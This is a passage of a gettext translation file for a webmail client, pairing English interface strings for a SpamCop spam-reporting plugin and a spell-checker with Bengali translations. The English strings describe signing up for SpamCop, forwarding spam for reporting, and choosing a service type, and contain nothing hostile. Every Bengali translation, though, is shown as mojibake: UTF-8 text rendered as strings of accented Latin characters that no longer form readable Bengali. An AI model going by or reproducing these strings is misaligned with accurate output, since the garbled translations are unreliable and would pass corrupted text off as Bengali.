msgstr "SpamCop āϏāĻŽā§āĻĒāĻ°ā§āϕ⧇"

msgid ""
"SpamCop is a free service that greatly assists in finding the true source of "
"the spam and helps in letting the proper people know about the abuse."
msgstr ""
"āĻ¸ā§āĻĒā§āϝāĻžāĻŽāĻ•āĻĒ (SpamCop) āĻŦāĻŋāύāĻž āĻĒ⧟āϏāĻžā§Ÿ āφāĻĒāύāĻžāϕ⧇ āĻ•āĻŋāϛ⧁ āϏ⧁āĻŦāĻŋāϧāĻž āĻĻā§‡ā§ŸāĨ¤ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āφāϏāϞ⧇ āϕ⧋āĻĨāĻž āĻĨ⧇āϕ⧇ "
"āφāϏāϛ⧇ āĻ“āϰāĻž āϤāĻž āϖ⧁āρāĻœā§‡ āĻŦ⧇āϰ āĻ•āϰāϤ⧇ āϏāĻžāĻšāĻžāĻ¯ā§āϝ āĻ•āϰ⧇āĨ¤ āĻāϰāĻĒāϰ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋāϰ āĻŦā§āϝāĻžāĻĒāĻžāϰāϟāĻž āϏāĻ āĻŋāĻ• āĻ•āĻ°ā§āϤ⧃āĻĒāĻ•ā§āώāϕ⧇ "
"āϜāĻžāύāĻžāύ⧋āϰ āĻ•āĻžāϜāϟāĻžāĻ“ āĻ“āϰāĻž āĻ•āϰ⧇ āĻĨāĻžāϕ⧇āĨ¤"

#, php-format
msgid ""
"To use it, you must get a SpamCop authorization code. There is a free %ssign "
"up page%s so you can use SpamCop."
msgstr ""
"āĻāϟāĻŋ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāϤ⧇, āφāĻĒāύāĻžāϕ⧇ āĻ…āĻŦāĻļā§āϝāχ āĻāĻ•āϟāĻŋ SpamCop āĻĒā§āϰāĻžāĻĒā§āϤāĻžāϧāĻŋāĻ•āĻžāϰ āϕ⧋āĻĄ āύāĻŋāϤ⧇ āĻšāĻŦ⧇āĨ¤ SpamCop "
"āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāϤ⧇ āĻāĻ–āĻžāύ⧇ āĻāĻ•āϟāĻŋ āĻŽā§āĻ•ā§āϤ %1$ssign āĻĒ⧃āĻˇā§āĻ āĻž%2$s āφāϛ⧇āĨ¤"

msgid "Before you sign up, be warned"
msgstr "āύāĻŋāĻŦāĻ¨ā§āϧāύ⧇āϰ āĻĒā§‚āĻ°ā§āĻŦ⧇, āφāĻĒāύāĻžāϕ⧇ āϏāϤāĻ°ā§āĻ• āĻ•āϰāĻž āĻšāĻŦ⧇"

#, php-format
msgid ""
"Some users have reported that the email addresses used with SpamCop find "
"their way onto spam lists. To be safe, you can just create an email "
"forwarding account and have all SpamCop reports get sent to there. Also, if "
"it gets flooded with spam, you can then just delete that account with no "
"worries about losing your real email address. Just go create an email "
"forwarder somewhere (%s has a %slist of places%s) so that messages from "
"system administrators and what not can be sent to you."
msgstr ""
"āĻ•āĻŋāϛ⧁ āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀ āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ āĻ•āϰ⧇āϛ⧇āύ āϝ⧇ SpamCop āĻĻā§āĻŦāĻžāϰāĻž āĻŦā§āϝāĻŦāĻšā§ƒāϤ āχāĻŽā§‡āχāϞ āĻ āĻŋāĻ•āĻžāύāĻžāϗ⧁āϞ⧋ "
"āĻ‰ā§œā§‹āϚāĻŋāĻ āĻŋāϰ āϤāĻžāϞāĻŋāĻ•āĻžā§Ÿ āύāĻŋāĻœā§‡āĻĻ⧇āϰ āĻĒāĻĨ āϖ⧁āρāĻœā§‡ āĻ¨ā§‡ā§ŸāĨ¤ āύāĻŋāϰāĻžāĻĒāĻ¤ā§āϤāĻžāϰ āϜāĻ¨ā§āϝ, āφāĻĒāύāĻŋ āĻāĻ•āϟāĻŋ āχāĻŽā§‡āχāϞ āĻāĻ•āĻžāωāĻ¨ā§āϟ "
"āϤ⧈āϰ⧀ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āύ āϝ⧇āĻ–āĻžāύ⧇ āφāĻĒāύāĻŋ āϏāĻŦ SpamCop āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ āĻĒāĻžāĻŦ⧇āύāĨ¤ āĻāĻ›āĻžā§œāĻžāĻ“, āϝāĻĻāĻŋ āĻāϟāĻŋ "
"āĻ‰ā§œā§‹āϚāĻŋāĻ āĻŋ āĻĻāĻŋā§Ÿā§‡ āĻĒā§‚āĻ°ā§āĻŖ āĻšā§Ÿā§‡ āϝāĻžā§Ÿ, āϤāĻŦ⧇ āφāĻĒāύāĻŋ āĻĒāĻ āĻŋāϤ āϕ⧋āύ āĻŽā§‡āχāϞ⧇āϰ āĻ•ā§āώāϤāĻŋ āĻ›āĻžā§œāĻžāχ āĻāϟāĻŋ āĻŽā§āϛ⧇ āĻĻāĻŋāϤ⧇ "
"āĻĒāĻžāϰāĻŦ⧇āύāĨ¤ āĻļ⧁āϧ⧁āĻŽāĻžāĻ¤ā§āϰ āĻāĻ•āϟāĻŋ āĻ…āĻ—ā§āϰāϏāϰ āĻāĻ•āϟāĻŋ āχāĻŽā§‡āχāϞ āĻāĻ•āĻžāωāĻ¨ā§āϟ āϖ⧁āϞ⧁āύ (%1$s āĻāϰ %2$s āϤāĻžāϞāĻŋāĻ•āĻžāϰ %3"
"$sāĻ¸ā§āĻĨāĻžāύ āφāϛ⧇) āϝ⧇āĻ–āĻžāύ⧇ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻĒā§āϰāĻļāĻžāϏāĻ• āĻāϰ āĻŦāĻžāĻ°ā§āϤāĻžāϗ⧁āϞ⧋ āĻāĻŦāĻ‚ āϝ⧇āϟāĻŋ āφāĻĒāύāĻŋ āĻĒāĻžāĻŦ⧇āύ āύāĻžāĨ¤"

msgid ""
"Once you have signed up with SpamCop and have received your SpamCop "
"authorization code, you need to enable this plugin by clicking the link "
"above. Once enabled, you go about your normal life. If you encounter a spam "
"message in your mailbox, just view it. On the right-hand side, near the top "
"of where the message is displayed, you will see a link to report this "
"message as spam. Clicking on it brings you to a confirmation page. "
"Confirming that you want the spam report sent will do different things with "
"different reporting methods."
msgstr ""
"āĻ¸ā§āĻĒā§āϝāĻžāĻŽāĻ•āĻĒ⧇āϰ āĻ•āĻžāĻ› āĻĨ⧇āϕ⧇ āĻĒāϰāĻŋāϚāĻžā§ŸāĻ• āϕ⧋āĻĄ āĻĒāĻžāĻŦāĻžāϰ āĻĒāϰ āύ⧀āĻšā§‡āϰ āϞāĻŋāĻ‚āĻ•āϟāĻŋāϤ⧇ āĻ•ā§āϞāĻŋāĻ• āĻ•āϰ⧇ āĻāχ "
"āĻĒā§āϞāĻžāĻ—āĻŋāύāϟāĻŋāϕ⧇ āϏāĻ•ā§āϰāĻŋ⧟ āĻ•āϰ⧇ āĻĻāĻŋāϤ⧇ āĻšāĻŦ⧇āĨ¤ āĻāĻ•āĻŦāĻžāϰ āϏāĻ•ā§āώāĻŽ āĻ•āϰāϤ⧇, āφāĻĒāύāĻŋ āφāĻĒāύāĻžāϰ āĻ¸ā§āĻŦāĻžāĻ­āĻžāĻŦāĻŋāĻ• āĻœā§€āĻŦāύ⧇ "
"āĻĢāĻŋāϰ⧇ āϝ⧇āϤ⧇ āĻĒāĻžāϰ⧇āύāĨ¤ āϝāĻĻāĻŋ āφāĻĒāύāĻŋ āĻāĻ•āϟāĻŋ āĻ¸ā§āĻĒā§āϝāĻžāĻŽ āĻŦāĻžāĻ°ā§āϤāĻž āĻĒāĻžāύ, āϤāĻŦ⧇ āĻļ⧁āϧ⧁ āĻāϟāĻŋ āĻĻ⧇āϖ⧁āύāĨ¤ āĻāϰāĻĒāϰ āĻĨ⧇āϕ⧇ "
"āϚāĻŋāĻ āĻŋ āĻĻ⧇āĻ–āĻžāϰ āϏāĻŽā§Ÿ āĻĄāĻžāύ āĻĻāĻŋāϕ⧇ āωāĻĒāϰ⧇ āϕ⧋āύ āϚāĻŋāĻ āĻŋāϕ⧇ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āĻšāĻŋāϏāĻžāĻŦ⧇ āϜāĻžāύāĻžāύ⧋āϰ āϜāĻ¨ā§āϝ āĻāĻ•āϟāĻŋ "
"āĻĒāĻ¤ā§āϰāϏ⧂āĻ¤ā§āϰ āĻĻ⧇āĻ“ā§ŸāĻž āĻĨāĻžāĻ•āĻŦ⧇āĨ¤ āϕ⧋āύ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āĻĒ⧇āϞ⧇ āϏ⧇āχ āϏ⧂āĻ¤ā§āϰāϟāĻŋāϤ⧇ āĻ•ā§āϞāĻŋāĻ• āĻ•āϰ⧁āύāĨ¤ āφāĻĒāύāĻŋ āύāĻŋāĻļā§āϚāĻŋāϤ āĻ•āĻŋāύāĻž "
"āϜāĻŋāĻœā§āĻžā§‡āϏ āĻ•āϰāĻžāϰ āϜāĻ¨ā§āϝ āĻāĻ•āϟāĻŋ āĻĒāĻžāϤāĻž āĻ–ā§‹āϞāĻž āĻšāĻŦ⧇, āĻāĻŦāĻ‚ āφāĻĒāύāĻŋ āύāĻŋāĻļā§āϚāĻŋāϤ āĻŦāϞāϞ⧇ āĻ•āĻŋ āĻĒāĻĻā§āϧāϤāĻŋāϤ⧇ āϜāĻžāύāĻžāύ⧋ "
"āĻšāĻŦ⧇ āϤāĻžāϰ āωāĻĒāϰ āύāĻŋāĻ°ā§āĻ­āϰ āĻ•āϰ⧇ āĻ āĻŋāĻ•āĻŽāϤ āĻĒāĻžāĻ āĻžāύ⧋āϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āĻ•āϰāĻž āĻšāĻŦ⧇āĨ¤"

msgid "Email-based reporting"
msgstr "āχ-āĻŽā§‡āχāϞ āĻ­āĻŋāĻ¤ā§āϤāĻŋāĻ• āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ"

msgid ""
"Pressing the button forwards the message to the SpamCop service and will "
"optionally delete the message. From there, you just need to go to your INBOX "
"and quite soon a message should appear from SpamCop. (It gets sent to the "
"account you registered with, so make sure that your mail forwarder works!) "
"Open it up, click on the appropriate link at the top, and a new browser "
"window will open."
msgstr ""
"āύ⧀āĻšā§‡āϰ āϏ⧁āχāϚāϟāĻž āĻšā§‡āĻĒ⧇ āĻĻāĻŋāϞ⧇ āϚāĻŋāĻ āĻŋāϟāĻž āĻ¸ā§āĻĒā§āϝāĻžāĻŽāĻ•āĻĒ⧇āϰ āĻ•āĻžāϛ⧇ āĻĒāĻžāĻ āĻŋā§Ÿā§‡ āĻĻ⧇āĻ“ā§ŸāĻž āĻšāĻŦ⧇ āĻāĻŦāĻ‚ āφāĻĒāύāĻŋ āϚāĻžāχāϞ⧇ "
"āϚāĻŋāĻ āĻŋāϟāĻž āĻŽā§āϛ⧇āĻ“ āĻĢ⧇āϞāĻž āĻšāĻŦ⧇āĨ¤ āĻāϰāĻĒāϰ āφāĻĒāύāĻŋ āĻ¸ā§āĻĒā§āϝāĻžāĻŽāĻ•āĻĒ⧇āϰ āĻ•āĻžāĻ› āĻĨ⧇āϕ⧇ āĻāĻ•āϟāĻž āϚāĻŋāĻ āĻŋ āĻĒāĻžāĻŦ⧇āύāĨ¤  (āĻŽāύ⧇ "
"āϰāĻžāĻ–āĻŦ⧇āύ, āφāĻĒāύāĻŋ āĻ¸ā§āĻĒā§āϝāĻžāĻŽāĻ•āĻĒāϕ⧇ āϝ⧇āχ āĻ āĻŋāĻ•āĻžāύāĻž āĻĻāĻŋā§Ÿā§‡āϛ⧇āύ, āĻ¸ā§āĻĒā§āϝāĻžāĻŽāĻ•āĻĒ āϏ⧇āχ āĻ āĻŋāĻ•āĻžāύāĻžāϤ⧇āχ āωāĻ¤ā§āϤāϰ "
"āĻĒāĻžāĻ āĻžāĻŦ⧇āĨ¤ āĻ•āĻžāĻœā§‡āχ āφāĻĒāύāĻŋ āϝāĻĻāĻŋ āϚāĻŋāĻ āĻŋ āϰāĻŋāϞ⧇ āĻ•āϰāĻžāϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āĻ•āϰ⧇ āĻĨāĻžāϕ⧇āύ, āϤāĻžāĻšāϞ⧇ āφāϗ⧇ āĻĨ⧇āϕ⧇ āϚāĻŋāĻ āĻŋ "
"āĻ āĻŋāĻ•āĻŽāϤ⧋ āϰāĻŋāϞ⧇ āĻšāĻšā§āϛ⧇ āĻ•āĻŋāύāĻž āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰ⧇ āύ⧇āĻ“ā§ŸāĻž āĻ­āĻžāϞāĨ¤ ) āĻ¸ā§āĻĒā§āϝāĻžāĻŽāĻ•āĻĒ⧇āϰ āĻĒāĻžāĻ āĻžāύ⧋ āϚāĻŋāĻ āĻŋāϤ⧇ āĻāĻ•āϟāĻž "
"āĻĒāĻ¤ā§āϰāϏ⧂āĻ¤ā§āϰ āĻĨāĻžāĻ•āĻŦ⧇ āϝ⧇āϟāĻž āĻ…āύ⧁āϏāϰāĻŖ āĻ•āϰāϞ⧇ āύāϤ⧁āύ āĻāĻ•āϟāĻž āĻĒāĻžāϤāĻž āĻ–ā§‹āϞāĻž āĻšāĻŦ⧇āĨ¤"

msgid ""
"Currently, the quick reporting just forwards the request to the thorough "
"reporting. Also, it appears that this is for members (non-free) only. "
"Hopefully this will change soon."
msgstr ""
"āĻāχ āĻĻā§āϰ⧁āϤ āĻ…āĻ­āĻŋāϝ⧋āĻ— āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāϞ⧇ āĻļ⧁āϧ⧁āĻŽāĻžāĻ¤ā§āϰ āĻŦāĻŋāĻ¸ā§āϤāĻžāϰāĻŋāϤ āĻŦāĻ°ā§āĻŖāύāĻž āĻĒā§āϰāĻ¸ā§āϤ⧁āϤ⧇āϰ āϜāĻ¨ā§āϝ āĻĒāĻžāĻ āĻžāύ⧋ "
"āĻšāĻŦ⧇āĨ¤ āϤāĻžāϰ āωāĻĒāϰ āϏāĻŽā§āĻ­āĻŦāϤāσ āĻāχ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϟāĻŋ āĻ—ā§āϰāĻžāĻšāĻ•āĻĻ⧇āϰ āϜāĻ¨ā§āϝ āϏāĻ‚āϰāĻ•ā§āώāĻŋāϤ (āĻ—ā§āϰāĻžāĻšāĻ• āĻšāϤ⧇ āĻšāϞ⧇ āĻŽāύ⧇ āĻšā§Ÿ "
"āĻ–āϰāϚ āĻ•āϰāϤ⧇ āĻšā§Ÿ)āĨ¤ āφāĻļāĻž āĻ•āϰāĻ›āĻŋ āĻ“āϰāĻž āĻāχ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āĻļā§€āĻ˜ā§āϰāχ āĻŦāĻĻāϞ⧇ āĻĢ⧇āϞāĻŦ⧇āĨ¤"

msgid "Web-based reporting"
msgstr "āĻ“ā§Ÿā§‡āĻŦ-āĻ­āĻŋāĻ¤ā§āϤāĻŋāĻ• āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ"

msgid ""
"When you press the button on the confirmation page, this will pop open a new "
"browser window and the SpamCop service should appear inside. The message "
"will not be deleted (working on that part), but you won't need to wait for a "
"response email to start the spam reporting."
msgstr ""
"āύāĻŋāĻļā§āϚāĻŋāϤāĻ•āϰāϪ⧇āϰ āĻĒāĻžāϤāĻžāϰ āϏ⧁āχāϚ āϚāĻžāĻĒāϞ⧇ āϝ⧁āĻ•ā§āϤāĻĒāĻ¤ā§āϰ āĻĒā§āϰāĻĻāĻ°ā§āĻļāĻ• āĻāĻ•āϟāĻž āύāϤ⧁āύ āĻĒāĻžāϤāĻž āϖ⧁āϞ⧇ āĻ¸ā§āĻĒā§āϝāĻžāĻŽāĻ•āĻĒ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϰ "
"āĻŦāĻ°ā§āĻŖāύāĻž āĻĻ⧇āĻ–āĻžāĻŦ⧇āĨ¤ āϤāĻ–āύ āϚāĻŋāĻ āĻŋāϟāĻž āĻŽā§āϛ⧇ āĻĢ⧇āϞāĻž āĻšāĻŦ⧇ āύāĻž (āĻ…āĻ‚āĻļāϟāĻŋāϰ āωāĻĒāϰ āĻ•āĻžāϜ āĻ•āϰāĻž āĻšāĻšā§āϛ⧇), āĻ•āĻŋāĻ¨ā§āϤ⧁ "
"āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āϏāĻŽā§āĻĒāĻ°ā§āϕ⧇ āĻ…āĻ­āĻŋāϝ⧋āĻ— āĻ•āϰāĻžāϰ āϜāĻ¨ā§āϝ āφāĻĒāύāĻžāϰ āωāĻ¤ā§āϤāϰ⧇āϰ āĻ…āĻĒ⧇āĻ•ā§āώāĻž āĻ•āϰāĻžāϰāĻ“ āĻĻāϰāĻ•āĻžāϰ āύ⧇āχāĨ¤"

msgid ""
"The SpamCop service will display information as it finds it, so scroll down "
"until you see a form button. It might pause a little while it is looking up "
"information, so be a little patient. Read what it says, and submit the spam. "
"Close the browser window. Press Cancel or click on the appropriate mail "
"folder to see messages and/or delete the spam."
msgstr ""
"āĻ¸ā§āĻĒā§āϝāĻžāĻŽāĻ•āĻĒ āϝāĻ–āύ āϕ⧋āύ āϤāĻĨā§āϝ āĻĒāĻžāĻŦ⧇ āϤāĻ–āύ āϏ⧇āϟāĻž āϏāĻŽā§āĻĒāĻ°ā§āϕ⧇ āĻĻ⧇āĻ–āĻžāĻŦ⧇āĨ¤ āϤāĻžāχ āĻāĻ•āϟāĻž āϏ⧁āχāϚ āĻĻ⧇āĻ–āϤ⧇ āĻĒāĻžāĻ“ā§ŸāĻž "
"āĻĒāĻ°ā§āϝāĻ¨ā§āϤ āĻĒāĻžāϤāĻž āϧāϰ⧇ āύ⧀āĻšā§‡ āύāĻžāĻŽāϤ⧇ āĻĨāĻžāϕ⧁āύāĨ¤  āϤāĻĨā§āϝ āϖ⧁āρāĻœā§‡ āĻŦ⧇āϰ āĻ•āϰāϤ⧇ āĻ…āύ⧇āĻ• āϏāĻŽā§Ÿ āϏāĻŽā§Ÿ āϞāĻžāĻ—āϤ⧇ āĻĒāĻžāϰ⧇, "
"āĻ•āĻžāĻœā§‡āχ āϧ⧈āĻ°ā§āϝ āϧāϰāϤ⧇ āĻšāĻŦ⧇āĨ¤ āϝāĻž āϞ⧇āĻ–āĻž āĻĻ⧇āĻŦ⧇, āϤāĻž āĻĒāĻĄāĻŧ⧇ āĻĻ⧇āϖ⧁āύ āĻāĻŦāĻ‚ āϤāĻžāϰāĻĒāϰ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋāϰ āĻŦāĻŋāĻŦāϰāĻŖāϟāĻž "
"āĻĒāĻžāĻ āĻŋā§Ÿā§‡ āĻĻāĻŋāύāĨ¤ āĻāϰāĻĒāϰ āĻĒāĻžāϤāĻžāϟāĻŋ āĻŦāĻ¨ā§āϧ āĻ•āϰ⧇ āĻĻāĻŋāύāĨ¤ āĻāϰāĻĒāϰ āφāĻŦāĻžāϰ āĻĄāĻžāϕ⧇ āĻĢ⧇āϰāϤ āĻāϏ⧇ āϚāĻŋāĻ āĻŋāϟāĻž āφāĻŦāĻžāϰ "
"āĻĻ⧇āĻ–āϤ⧇ āĻŦāĻž āĻŽā§āϛ⧇ āĻĢ⧇āϞāϤ⧇ āĻĒāĻžāϰ⧇āύāĨ¤"

msgid "SpamCop service type"
msgstr "SpamCop āϏ⧇āĻŦāĻž āϧāϰāύ"

msgid ""
"Service type option allows selecting which SpamCop services you are using. "
"Member services use different web reporting forms and does not display nags. "
"You can purchase these services, if you want to support SpamCop."
msgstr ""
"āϏ⧇āĻŦāĻžāϰ āϧāϰāĻŖ āĻĒāĻ›āĻ¨ā§āĻĻ āφāĻĒāύāĻŋ āϕ⧋āύ SpamCop āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāϤ⧇ āϚāĻžāύ āϤāĻž āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ⧇ āĻ…āύ⧁āĻŽā§‹āĻĻāύ āĻ•āϰ⧇āĨ¤ āϏāĻĻāĻ¸ā§āϝ "
"āϏ⧇āĻŦāĻžāϗ⧁āϞ⧋ āĻ­āĻŋāĻ¨ā§āύ āĻ“ā§Ÿā§‡āĻŦ āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ āĻĢāϰāĻŽ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ āĻāĻŦāĻ‚ āϖ⧁āρāϤāϗ⧁āϞ⧋ āĻĒā§āϰāĻĻāĻ°ā§āĻļāύ āĻ•āϰ⧇ āύāĻžāĨ¤ āϝāĻĻāĻŋ āφāĻĒāύāĻŋ "
"SpamCop āϏāĻŽāĻ°ā§āĻĨāύ āĻ•āϰāϤ⧇ āϚāĻžāύ, āϤāĻŦ⧇ āĻāχ āϏ⧇āĻŦāĻžāϗ⧁āϞ⧋ āĻ•ā§āϰ⧟ āĻ•āϰ⧁āύāĨ¤"

msgid "More information"
msgstr "āφāϰāĻ“ āϤāĻĨā§āϝ"

#, php-format
msgid ""
"For more information about SpamCop, it's services, spam in general, and many "
"related topics, try reading through SpamCop's %sHelp and Feedback%s section."
msgstr ""
"āĻ¸ā§āĻĒā§āϝāĻžāĻŽāĻ•āĻĒ (SpamCop) āϏāĻŽā§āĻĒāĻ°ā§āϕ⧇ āĻŦāĻŋāĻ¸ā§āϤāĻžāϰāĻŋāϤ āϜāĻžāύāϤ⧇ āĻšāϞ⧇, āĻŦāĻž āωāĻĄāĻŧā§‹ āϚāĻŋāĻ āĻŋ āϏāĻŽā§āĻĒāĻ°ā§āϕ⧇ āĻāĻŦāĻ‚ āĻ "
"āϏāĻŽā§āĻĒāĻ°ā§āĻ•āĻŋāϤ āĻ…āύ⧇āĻ• āϤāĻĨā§āϝ⧇āϰ āϜāĻ¨ā§āϝ āĻ¸ā§āĻĒā§āϝāĻžāĻŽāĻ•āĻĒ⧇āϰ %1$sāϏāĻžāĻšāĻžāĻ¯ā§āϝ āĻāĻŦāĻ‚ āĻĒā§āϰāĻļā§āύ⧋āĻ¤ā§āϤāϰ%2$s āĻĒāĻžāϤāĻžā§Ÿ āĻĻ⧇āϖ⧁āύāĨ¤"

msgid "Report as Spam"
msgstr "āĻ¸ā§āĻĒā§āϝāĻžāĻŽ, āĻ‰ā§œā§‹āϚāĻŋāĻ āĻŋ āĻšāĻŋāϏ⧇āĻŦ⧇ āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ āĻ•āϰ⧁āύ"

msgid "SpamCop - Spam Reporting"
msgstr "āĻ¸ā§āĻĒā§āϝāĻžāĻŽāĻ•āĻĒ (SpamCop) - āĻ¸ā§āĻĒā§āϝāĻžāĻŽ, āĻ‰ā§œā§‹āϚāĻŋāĻ āĻŋ āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ āĻ•āϰāϛ⧇"

msgid ""
"Help fight the battle against unsolicited email. SpamCop reads the spam "
"email and determines the correct addresses to send complaints to. Quite "
"fast, really smart, and easy to use."
msgstr ""
"āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āĻŦāĻž āĻ…āύ⧈āϤāĻŋāĻ•āϚāĻŋāĻ āĻŋ āĻĨāĻžāĻŽāĻžāϤ⧇ āϏāĻžāĻšāĻžāĻ¯ā§āϝ āĻ•āϰ⧁āύāĨ¤ āĻ¸ā§āĻĒā§āϝāĻžāĻŽāĻ•āĻĒ (SpamCop) āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋāϟāĻž āĻĒāĻĄāĻŧ⧇ "
"āφāϏāϞ⧇ āĻāϟāĻž āϕ⧋āĻĨāĻžāĻĨ⧇āϕ⧇ āφāϏāϛ⧇ āϏ⧇āϟāĻž āĻŦ⧇āϰ āĻ•āϰ⧇ āĻāĻŦāĻ‚ āϕ⧋āĻĨāĻžā§Ÿ āĻ…āĻ­āĻŋāϝ⧋āĻ— āϜāĻžāύāĻžāϤ⧇ āĻšāĻŦ⧇ āĻŦ⧁āĻā§‡ āĻ¨ā§‡ā§ŸāĨ¤ āĻāχ "
"āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϟāĻž āĻŦ⧇āĻļ āĻĻā§āϰ⧁āϤ, āĻ­āĻžāϞ āĻ•āĻžāϜ āĻ•āϰ⧇, āĻāĻŦāĻ‚ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āĻŦ⧇āĻļ āϏāĻšāϜāĨ¤"

msgid ""
"Sending this spam report will give you back a reply with URLs that you can "
"click on to properly report this spam message to the proper authorities. "
"This is a free service. By pressing the \"Send Spam Report\" button, you "
"agree to follow SpamCop's rules/terms of service/etc."
msgstr ""
"āφāĻĒāύāĻŋ āϝāĻĻāĻŋ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋāϰ āĻŦāĻ°ā§āĻŖāύāĻž āĻĒāĻžāĻ āĻžāύ, āϤāĻžāĻšāϞ⧇ āωāĻ¤ā§āϤāϰ⧇ āĻāĻ•āϟāĻž āϚāĻŋāĻ āĻŋ āφāϏāĻŦ⧇ āϝāĻžāϤ⧇ āĻ•āĻŋāϛ⧁ āĻĒāĻ¤ā§āϰāϏ⧂āĻ¤ā§āϰ"
"(URLs) āĻĨāĻžāĻ•āĻŦ⧇āĨ¤ āĻ“āχ āĻĒāĻ¤ā§āϰāϏ⧂āĻ¤ā§āϰ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ āφāĻĒāύāĻŋ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āϏāĻ‚āĻļā§āϞāĻŋāĻˇā§āϟ āĻ•āĻ°ā§āϤ⧃āĻĒāĻ•ā§āώ⧇āϰ āĻ•āĻžāϛ⧇ āĻ…āĻ­āĻŋāϝ⧋āĻ— "
"āĻĒāĻžāĻ āĻŋā§Ÿā§‡ āĻĻāĻŋāϤ⧇ āĻĒāĻžāϰāĻŦ⧇āύāĨ¤ āĻāχ āĻ•āĻžāϜāϟāĻŋ āĻ•āϰāĻžāϰ āϜāĻ¨ā§āϝ āϕ⧋āύ āĻ–āϰāϚ āύ⧇āχāĨ¤ āφāĻĒāύāĻŋ āύ⧀āĻšā§‡āϰ 'āĻŦāĻ°ā§āĻŖāύāĻž āĻĒāĻžāĻ āĻžāύ' "
"āϏ⧁āχāϚāϟāĻŋ āϚāĻžāĻĒāϞ⧇ āϧāϰ⧇ āύ⧇āĻ“ā§ŸāĻž āĻšāĻŦ⧇ āϝ⧇ āφāĻĒāύāĻŋ āĻ¸ā§āĻĒāĻžāĻŽāĻ•āĻĒ (SpamCop) āĻāϰ āϏāĻ•āϞ āĻļāĻ°ā§āϤāĻžāĻŦāϞ⧀ āĻŽā§‡āύ⧇ "
"āύāĻŋāĻšā§āϛ⧇āύāĨ¤"

msgid "Cancel / Done"
msgstr "āĻŦāĻžāϤāĻŋāϞ āĻ•āϰ⧁āύ / āϏāĻŽā§āĻĒāĻ¨ā§āύ"

msgid "Send Spam Report"
msgstr "āĻ¸ā§āĻĒā§āϝāĻžāĻŽ, āĻ‰ā§œā§‹āϚāĻŋāĻ āĻŋ āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ āĻĒāĻžāĻ āĻŋā§Ÿā§‡ āĻĻāĻŋāύ"

msgid "SpellChecker Options"
msgstr "āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰāĻžāϰ āĻĒāĻ›āĻ¨ā§āĻĻāϏāĻŽā§‚āĻš"

msgid ""
"Here you may set up how your personal dictionary is stored, edit it, or "
"choose which languages should be available to you when spell-checking."
msgstr ""
"āφāĻĒāύāĻžāϰ āύāĻŋāĻœā§‡āϰ āϤ⧈āϰ⧀ āĻļāĻŦā§āĻĻāϕ⧋āώ āĻ•āĻŋāĻ­āĻžāĻŦ⧇ āĻ•ā§āϰāĻŽāĻžāĻŖā§āĻŦāĻŋāϤ āĻ•āϰāĻž āĻšāĻŦ⧇, āĻ•āĻŋāĻ­āĻžāĻŦ⧇ āĻ“āϟāĻžāϤ⧇ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰāĻž "
"āĻšāĻŦ⧇, āĻāĻŦāĻ‚ āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāĻžāϰ āϜāĻ¨ā§āϝ āφāĻĒāύāĻŋ āĻ•āĻŋ āĻ•āĻŋ āĻ­āĻžāώāĻž āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻŦ⧇āύ āϤāĻž āĻāĻ–āĻžāύ⧇ āĻ āĻŋāĻ• āĻ•āϰ⧇ "
"āĻĻ⧇āĻ“ā§ŸāĻž āϝāĻžāĻŦ⧇āĨ¤"

msgid "Check Spelling"
msgstr "āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰ⧁āύ"

msgid "Back to &quot;SpellChecker Options&quot; page"
msgstr "&quot;āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰāĻžāϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϰ āϜāĻ¨ā§āϝ āύāĻŋ⧟āĻŽ&quot; āĻĒāĻžāϤāĻžā§Ÿ āĻĢ⧇āϰāϤ āϝāĻžāύ"

msgid "ATTENTION:"
msgstr "āĻŽāύ⧋āϝ⧋āĻ— āĻĻāĻŋāύ:"

